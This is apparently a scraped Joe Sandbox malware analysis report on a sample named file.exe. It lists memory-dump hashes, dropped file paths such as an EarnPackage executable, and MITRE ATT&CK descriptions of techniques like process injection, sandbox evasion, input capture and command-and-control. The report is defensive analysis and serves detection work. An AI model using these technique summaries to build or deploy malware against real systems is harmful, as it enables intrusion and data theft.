Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 79e4c3a08b5363d98cc33068bb7bbdcd271105d9d9d9c252471cf05fac27a945
Instruction ID: 6dd43474153c21470d2d90641e64b96ed0da30414b2d41baa8b5e8831fa3fcb2
Opcode Fuzzy Hash: 79e4c3a08b5363d98cc33068bb7bbdcd271105d9d9d9c252471cf05fac27a945
Instruction Fuzzy Hash: 9AF0F972A163104BEB10AF659CC1A5A7BFDEFB1218F100048FC6197354E770DC40D6A2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\EarnPackage\EarnPackage.exe

C:\ProgramData\EarnPackage\sqlite3.dll

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fafd47531ab6d510499988ddace487f076f293_c8b7b6aa_0c6c32f0-cc55-40c5-ab8a-9ae0d47c1594\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA8.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC2.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE02.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0F.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE6E.tmp.txt

C:\ProgramData\ea1212it53.dat

C:\ProgramData\ea1212rc53.dat

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre